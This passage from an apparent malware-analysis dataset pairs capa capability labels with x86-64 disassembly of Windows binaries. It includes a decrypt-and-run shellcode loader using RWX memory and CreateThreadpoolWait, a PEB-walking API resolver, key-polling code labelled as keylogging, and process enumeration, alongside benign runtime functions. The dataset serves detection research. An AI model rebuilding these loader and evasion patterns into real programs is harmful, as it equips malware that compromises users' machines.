joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001040
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via createthreadpoolwait

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rdi
push r12
push r15
sub rsp, 0x250
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x240], rax
movdqa xmm2, xmmword [str.]
lea rdi, [0x140003040]
xor ebx, ebx
mov dword [rsp + 0x130], ebx
mov eax, ebx
movdqu xmm0, xmmword [rax + rdi]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + rdi], xmm1
movdqu xmm0, xmmword [rax + rdi + 0x10]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rax + rdi + 0x10], xmm0
movdqu xmm0, xmmword [rax + rdi + 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax + rdi + 0x20], xmm0
movdqu xmm0, xmmword [rax + rdi + 0x30]
pxor xmm1, xmm0
movdqu xmmword [rax + rdi + 0x30], xmm1
add rax, 0x40
cmp rax, 0x340
jb 0x140001082
cmp rax, 0x37c
jae 0x1400010ef
nop dword [rax]
xor byte [rax + rdi], 0x23
inc rax
cmp rax, 0x37c
jb 0x1400010e0
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x140]
call fcn.140001000
xor r9d, r9d
xor edx, edx
xor ecx, ecx
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov ebp, 0x37d
mov r9d, 4
mov edx, ebp
mov r8d, 0x3000
xor ecx, ecx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r9, [rsp + 0x130]
mov r8d, 0x40
mov rcx, rax
mov edx, ebp
mov r15, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001271
mov qword [rsp + 0x270], rsi
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x278], r14
mov eax, ebx
mov r10d, 0x100
mov byte [rcx], al
lea rcx, [rcx + 1]
inc eax
cmp eax, r10d
jl 0x140001171
mov r14, qword [rsp + 0x20]
lea r9, [rsp + 0x30]
xor r11b, r11b
mov rsi, rbx
nop
movzx r8d, byte [r9]
lea rcx, [rsp + 0x30]
xor edx, edx
lea r9, [r9 + 1]
mov rax, rsi
inc rsi
div r14
movzx eax, byte [rsp + rdx + 0x140]
add al, r8b
add r11b, al
movzx eax, r11b
add rcx, rax
movzx eax, byte [rcx]
mov byte [r9 - 1], al
mov byte [rcx], r8b
sub r10, 1
jne 0x140001190
mov r14, qword [rsp + 0x278]
mov r9, r15
mov rsi, qword [rsp + 0x270]
sub rdi, r15
lea eax, [rbx + 1]
and eax, 0x800000ff
jge 0x1400011f6
dec eax
or eax, 0xffffff00
inc eax
movsxd rbx, eax
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x30]
movzx r8d, byte [rdx + rbx]
add r10b, r8b
movzx eax, r10b
add rcx, rax
movzx eax, byte [rcx]
mov byte [rdx + rbx], al
mov byte [rcx], r8b
movzx eax, byte [rdx + rbx]
add r8, rax
movzx eax, r8b
movzx ecx, byte [rsp + rax + 0x30]
xor cl, byte [rdi + r9]
mov byte [r9], cl
inc r9
sub rbp, 1
jne 0x1400011e3
xor r8d, r8d
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
xor r8d, r8d
mov rdx, r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0xffffffff
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400012b0
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r12
pop rdi
ret
Function at 0x1806c7147
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + r11*4 - 0x1e097668], r9
movzx r9d, r11w
add r11, 0xffffffffc43d2e91
lea r11, [0x1806cd718]
mov r9d, 0xe6b7a5bd
shl r9, 0x60
movzx r9d, byte [rdi]
xor r9d, edx
push 0x2e2d8536
sar word [rsp + 5], 0x66
and r9d, 0xff
mov r9d, dword [r11 + r9*4]
shr edx, 8
and byte [rsp + 4], 0xa9
xor edx, r9d
inc rdi
xor edx, 0xd1a74a94
dec word [rsp + 1]
dec rbx
lea rsp, [rsp + 8]
jne 0x1806c7161
mov r9d, 0x39521a7
pop r9
mov r11d, 0x6d159208
pop r11

Function at 0x1806d93f0
Capabilities:
Encode data using xor

Disassembly:
jmp fcn.1806a494e
add rbp, 0xc
xor edx, edx
test r10, r10
push 0xfffffffff2157baa
lea rsp, [rsp + 0x10]
je 0x1806df95f
mov r8d, 0x9a14792a
push r11
rol r8b, 0x84
sub r8, 0x21844197
sal r8w, 0xa4
lea r11, [0x1806afb58]
movzx r8d, byte [rax]
push 0xfffffffff4a86a36
push 0xffffffffcb23d703
xor r8d, edx
and r8d, 0xff
mov r8d, dword [r11 + r8*4]
shr edx, 8
xor edx, r8d
inc rax
xor edx, 0xc61d8d20
dec r10
lea rsp, [rsp + 0x10]
jne 0x1806d942b
call fcn.1806da84d
not edx
mov dword [rbp + riz], edx
jmp 0x1806b399c
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
xor r9, r9
mov rsi, qword [rdx + 0x50]
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
push r9
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
push rax
add r8, rdx
jrcxz 0x1400040ca
dec rcx
xor r9, r9
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021

Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x14000c008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x14000c008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x14000c008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000c008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret
Function at 0x14001b39c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001b3b2
mov al, 1
jmp 0x14001b412
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001b3c3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001b410
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400194f0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001b410
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001b410
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001b410
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001b412
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14001f630
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001f658
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001f658
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140001000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.MSVCR100.dll_getenv]
test rax, rax
je 0x140001066
lea rcx, str.Windows_original_main_args:_n
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
xor ebx, ebx
cmp dword [rax], ebx
jle 0x140001066
xor edi, edi
mov rax, qword [sym.imp.MSVCR100.dll___argv]
lea rcx, str.wwwd_args__d____s_n
mov edx, ebx
mov r8, qword [rax]
mov r8, qword [r8 + rdi]
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
inc ebx
add rdi, 8
cmp ebx, dword [rax]
jl 0x140001038
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.jli.dll_JLI_MemAlloc
mov rbx, rax
call sub.jli.dll_JLI_GetStdArgs
xor r9d, r9d
xor edx, edx
test edi, edi
jle 0x1400010b2
mov r9d, edi
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109f
mov rcx, qword [str.java]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rcx, rcx
jne 0x1400010c9
mov rcx, qword [rbx]
mov rax, qword [str.java]
test rax, rax
jne 0x1400010d8
mov rax, qword [rbx]
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 1
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
lea rax, [0x140002250]
mov r8d, 2
lea r9, str._J_ms8m
mov qword [rsp + 0x38], rax
lea rax, [0x140002240]
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, str._lib_tools.jar
mov ecx, edi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
call sub.jli.dll_JLI_Launch
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x14000b2b0
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
sub rsp, 0x28
cmp byte [0x14017e915], 0
je 0x14000b49d
mov ecx, dword [reloc.WLDAP32.dll_Ordinal_32]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x14000b49d
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x14000b49d
mov ecx, 0x41
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14000b303
mov byte [0x1401751ea], 1
jmp 0x14000b356
cmp byte [0x1401751ea], 0
je 0x14000b356
xor edx, edx
lea ecx, [rdx + 0x44]
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
xor r9d, r9d
mov cl, 0x44
mov edx, eax
lea r8d, [r9 + 8]
call qword [sym.imp.USER32.dll_keybd_event]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea ecx, [rdx + 0x44]
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
xor r9d, r9d
mov cl, 0x44
mov edx, eax
lea r8d, [r9 + 2]
call qword [sym.imp.USER32.dll_keybd_event]
mov byte [0x1401751ea], 0
mov ecx, 0x44
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14000b36f
mov byte [0x1401751ec], 1
jmp 0x14000b3c2
cmp byte [0x1401751ec], 0
je 0x14000b3c2
xor edx, edx
lea ecx, [rdx + 0x41]
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
xor r9d, r9d
mov cl, 0x41
mov edx, eax
lea r8d, [r9 + 8]
call qword [sym.imp.USER32.dll_keybd_event]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea ecx, [rdx + 0x41]
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
xor r9d, r9d
mov cl, 0x41
mov edx, eax
lea r8d, [r9 + 2]
call qword [sym.imp.USER32.dll_keybd_event]
mov byte [0x1401751ec], 0
mov ecx, 0x57
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14000b3db
mov byte [0x1401751eb], 1
jmp 0x14000b42e
cmp byte [0x1401751eb], 0
je 0x14000b42e
xor edx, edx
lea ecx, [rdx + 0x53]
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
xor r9d, r9d
mov cl, 0x53
mov edx, eax
lea r8d, [r9 + 8]
call qword [sym.imp.USER32.dll_keybd_event]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea ecx, [rdx + 0x53]
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
xor r9d, r9d
mov cl, 0x53
mov edx, eax
lea r8d, [r9 + 2]
call qword [sym.imp.USER32.dll_keybd_event]
mov byte [0x1401751eb], 0
mov ecx, 0x53
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14000b44a
mov byte [0x1401751e9], 1
add rsp, 0x28
ret
cmp byte [0x1401751e9], 0
je 0x14000b49d
xor edx, edx
lea ecx, [rdx + 0x57]
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
xor r9d, r9d
mov cl, 0x57
mov edx, eax
lea r8d, [r9 + 8]
call qword [sym.imp.USER32.dll_keybd_event]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea ecx, [rdx + 0x57]
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
xor r9d, r9d
mov cl, 0x57
mov edx, eax
lea r8d, [r9 + 2]
call qword [sym.imp.USER32.dll_keybd_event]
mov byte [0x1401751e9], 0
add rsp, 0x28
ret
Function at 0x14000b4b0
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
movzx eax, byte [0x1400f304a]
vmovups xmm0, xmmword [0x1400f3030]
movzx ecx, word [0x1400f3048]
xor al, 0x52
vmovups xmmword [rbp - 0x20], xmm0
vmovsd xmm0, qword [0x1400f3040]
xor byte [rbp - 0x1f], 0x39
xor byte [rbp - 0x1e], 0x3a
xor byte [rbp - 0x1d], 0x3b
xor byte [rbp - 0x1c], 0x3c
xor byte [rbp - 0x1b], 0x3d
xor byte [rbp - 0x1a], 0x3e
xor byte [rbp - 0x19], 0x3f
xor byte [rbp - 0x18], 0x40
xor byte [rbp - 0x17], 0x41
xor byte [rbp - 0x16], 0x42
xor byte [rbp - 0x15], 0x43
xor byte [rbp - 0x14], 0x44
xor byte [rbp - 0x13], 0x45
xor byte [rbp - 0x12], 0x46
xor byte [rbp - 0x11], 0x47
vmovsd qword [rbp - 0x10], xmm0
xor byte [rbp - 0x10], 0x48
xor byte [rbp - 0xf], 0x49
xor byte [rbp - 0xe], 0x4a
xor byte [rbp - 0xd], 0x4b
xor byte [rbp - 0xc], 0x4c
xor byte [rbp - 0xb], 0x4d
xor byte [rbp - 0xa], 0x4e
xor byte [rbp - 9], 0x4f
mov byte [rbp - 6], al
mov rax, qword [0x1400f3270]
mov word [rbp - 8], cx
xor cl, 0x50
xor byte [rbp - 7], 0x51
cmp byte [0x1400f3277], 0
mov qword [rbp + 0x18], rax
mov eax, dword [str.WI_U_]
mov dword [rbp + 0x10], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x20], Ordinal_50
mov byte [rbp - 8], cl
je 0x14000b5a0
xor byte [rbp + 0x19], 0x39
xor byte [rbp + 0x1a], 0x3a
xor byte [rbp + 0x1b], 0x3b
xor byte [rbp + 0x1c], 0x3c
xor byte [rbp + 0x1d], 0x3d
xor byte [rbp + 0x1e], 0x3e
xor byte [rbp + 0x1f], 0x3f
mov byte [rbp + 0x18], 0x63
nop dword [rax + rax]
xor byte [rbp + 0x11], 0x39
lea r9, [rbp - 0x20]
xor byte [rbp + 0x12], 0x3a
lea r8, [rbp + 0x18]
xor byte [rbp + 0x13], 0x3b
lea rdx, [rbp + 0x10]
xor al, 0x3c
mov byte [rbp + 0x10], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x14], al
xor ecx, ecx
xor eax, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
add rsp, 0x50
pop rbp
ret
Function at 0x14001f430
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x120
mov rbx, rcx
lea r10, [rsp + 0x20]
mov ecx, reloc.WS2_32.dll_recv
xor r9b, r9b
nop dword [rax]
movzx edx, r9b
lea r10, [r10 + 4]
movzx eax, r9b
add r9b, 4
movzx r8d, byte [rax + rbx + 1]
movzx eax, byte [rdx + rbx]
shl eax, 8
or r8d, eax
movzx eax, byte [rdx + rbx + 2]
shl r8d, 8
or r8d, eax
movzx eax, byte [rdx + rbx + 3]
shl r8d, 8
or r8d, eax
mov dword [r10 - 4], r8d
sub rcx, 1
jne 0x14001f460
mov esi, dword [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov r11b, reloc.WS2_32.dll_recv
nop
mov r9d, dword [rdi + 4]
lea r10, [rdi]
movzx eax, r11b
lea rdi, [rdi + 4]
mov r8d, r9d
inc r11b
ror r8d, 0x12
mov edx, dword [rsp + rax*4 + 0x18]
mov ecx, edx
ror ecx, 0x13
mov eax, r9d
ror eax, 7
xor r8d, eax
mov eax, r9d
shr eax, 3
xor r8d, eax
mov eax, edx
ror eax, 0x11
xor ecx, eax
shr edx, 0xa
xor ecx, edx
add r8d, ecx
add r8d, dword [r10 + 0x24]
add r8d, esi
mov esi, r9d
mov dword [r10 + 0x40], r8d
cmp r11b, 0x40
jb 0x14001f4b0
lea rax, [rbx + 0x50]
xor esi, esi
vmovups ymm0, ymmword [rax]
vmovups ymmword [rsp], ymm0
mov ebp, dword [rsp + 0x18]
mov r14d, dword [rsp + 0x14]
lea r13d, [rsi + 0x40]
mov edi, dword [rsp + 0x10]
mov r15d, dword [rsp + 8]
mov r12d, dword [rsp + 4]
mov r11d, dword [rsp]
mov ebx, dword [rsp + 0xc]
mov qword [rsp + 0x168], rax
mov eax, dword [rsp + 0x1c]
nop word [rax + rax]
andn edx, edi, ebp
mov ecx, edi
lea rsi, [rsi + 4]
ror ecx, 0xb
mov r10d, edi
ror r10d, 0x19
mov r9d, r12d
xor r10d, ecx
mov r8d, r15d
mov ecx, edi
ror ecx, 6
xor r10d, ecx
mov ecx, r14d
and ecx, edi
xor edx, ecx
lea rcx, [0x1400f8bc0]
add r10d, edx
mov edx, r11d
add r10d, dword [rsi + rcx - 4]
mov ecx, r11d
add r10d, dword [rsp + rsi + 0x1c]
ror ecx, 0xd
add r10d, eax
ror edx, 0x16
mov eax, ebp
xor edx, ecx
mov ebp, r14d
mov ecx, r11d
mov r14d, edi
ror ecx, 2
lea edi, [rbx + r10]
xor edx, ecx
mov ebx, r15d
mov r15d, r12d
and r9d, ebx
mov r12d, r11d
mov ecx, r15d
or ecx, ebx
and r11d, ecx
lea ecx, [r10 + rdx]
or r11d, r9d
add r11d, ecx
sub r13, 1
jne 0x14001f550
lea r8, [rsp]
mov dword [rsp + 0x1c], eax
sub r8, qword [rsp + 0x160]
lea edx, [r13 + 8]
mov rax, qword [rsp + 0x168]
mov dword [rsp], r11d
mov dword [rsp + 0x10], edi
mov dword [rsp + 0x18], ebp
mov dword [rsp + 0x14], r14d
mov dword [rsp + 8], r15d
mov dword [rsp + 4], r12d
mov dword [rsp + 0xc], ebx
nop dword [rax]
mov ecx, dword [rax + r8 - 0x50]
add dword [rax], ecx
lea rax, [rax + 4]
sub rdx, 1
jne 0x14001f620
vzeroupper
mov rbx, qword [rsp + 0x170]
add rsp, 0x120
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14001fff0
Capabilities:
Enumerate process modules

Disassembly:
push rbp
push r14
push r15
sub rsp, 0x490
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x470], rbx
mov qword [rbp + 0x480], rsi
mov qword [rbp + 0x488], rdi
mov rax, qword [0x140111180]
xor rax, rbp
mov qword [rbp + 0x440], rax
mov rdi, rdx
mov dword [rbp], 0x438
mov edx, dword [0x14017f140]
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Module32FirstW]
xor r14d, r14d
movabs r15, 0xffffffffffffff0
lea rcx, [rbp + 0x30]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], r14w
jne 0x140020070
lea edx, [rax + 1]
cmp edx, 0x3fffffff
jg 0x1400200ea
cdqe
lea rax, [rax*2 + 2]
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x14002009b
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1400d9870
sub rsp, rcx
lea rbx, [rsp + 0x40]
test rbx, rbx
je 0x1400200ea
lea eax, [rdx + rdx]
mov qword [rsp + 0x38], r14
xor edx, edx
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], eax
lea r8, [rbp + 0x30]
mov r9d, 0xffffffff
mov byte [rbx], r14b
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
cmove rbx, r14
jmp 0x1400200ed
mov rbx, r14
cmp qword [rdi + 0x18], 0xf
mov rdx, rdi
jbe 0x1400200fa
mov rdx, qword [rdi]
sub rdx, rbx
nop dword [rax]
movzx ecx, byte [rbx]
movzx eax, byte [rbx + rdx]
sub ecx, eax
jne 0x140020112
inc rbx
test eax, eax
jne 0x140020100
test ecx, ecx
mov rcx, rsi
je 0x140020172
lea rdx, [rbp]
call qword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x140020060
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14002016e
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140020169
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400201f5
mov rcx, r8
call fcn.1400d8fb4
xor eax, eax
jmp 0x1400201b5
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rdi + 0x18]
mov rbx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x1400201b2
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1400201ad
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400201f5
mov rcx, r8
call fcn.1400d8fb4
mov rax, rbx
mov byte [rdi], r14b
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rdi + 0x10], r14
mov rcx, qword [rbp + 0x440]
xor rcx, rbp
call fcn.1400d8d10
mov rbx, qword [rbp + 0x470]
mov rsi, qword [rbp + 0x480]
mov rdi, qword [rbp + 0x488]
lea rsp, [rbp + 0x450]
pop r15
pop r14
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140020ff0
Capabilities:
Enumerate processes

Disassembly:
push rbp
push r14
push r15
sub rsp, 0x290
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x270], rbx
mov qword [rbp + 0x280], rsi
mov qword [rbp + 0x288], rdi
mov rax, qword [0x140111180]
xor rax, rbp
mov qword [rbp + 0x240], rax
mov rdi, rdx
mov dword [rbp], 0x238
xor edx, edx
lea ecx, [rdx + 0xf]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor r14d, r14d
movabs r15, 0xffffffffffffff0
nop word [rax + rax]
lea rcx, [rbp + 0x2c]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], r14w
jne 0x140021070
lea edx, [rax + 1]
cmp edx, 0x3fffffff
jg 0x1400210ea
cdqe
lea rax, [rax*2 + 2]
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x14002109b
mov rcx, r15
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1400d9870
sub rsp, rcx
lea rbx, [rsp + 0x40]
test rbx, rbx
je 0x1400210ea
lea eax, [rdx + rdx]
mov qword [rsp + 0x38], r14
xor edx, edx
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], eax
lea r8, [rbp + 0x2c]
mov r9d, 0xffffffff
mov byte [rbx], r14b
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
cmove rbx, r14
jmp 0x1400210ed
mov rbx, r14
cmp qword [rdi + 0x18], 0xf
mov rdx, rdi
jbe 0x1400210fa
mov rdx, qword [rdi]
sub rdx, rbx
nop dword [rax]
movzx ecx, byte [rbx]
movzx eax, byte [rbx + rdx]
sub ecx, eax
jne 0x140021112
inc rbx
test eax, eax
jne 0x140021100
test ecx, ecx
mov rcx, rsi
je 0x140021172
lea rdx, [rbp]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140021060
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14002116e
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140021169
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400211f3
mov rcx, r8
call fcn.1400d8fb4
xor eax, eax
jmp 0x1400211b3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rdi + 0x18]
mov ebx, dword [rbp + 8]
cmp rdx, 0xf
jbe 0x1400211b1
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1400211ac
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400211f3
mov rcx, r8
call fcn.1400d8fb4
mov eax, ebx
mov byte [rdi], r14b
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rdi + 0x10], r14
mov rcx, qword [rbp + 0x240]
xor rcx, rbp
call fcn.1400d8d10
mov rbx, qword [rbp + 0x270]
mov rsi, qword [rbp + 0x280]
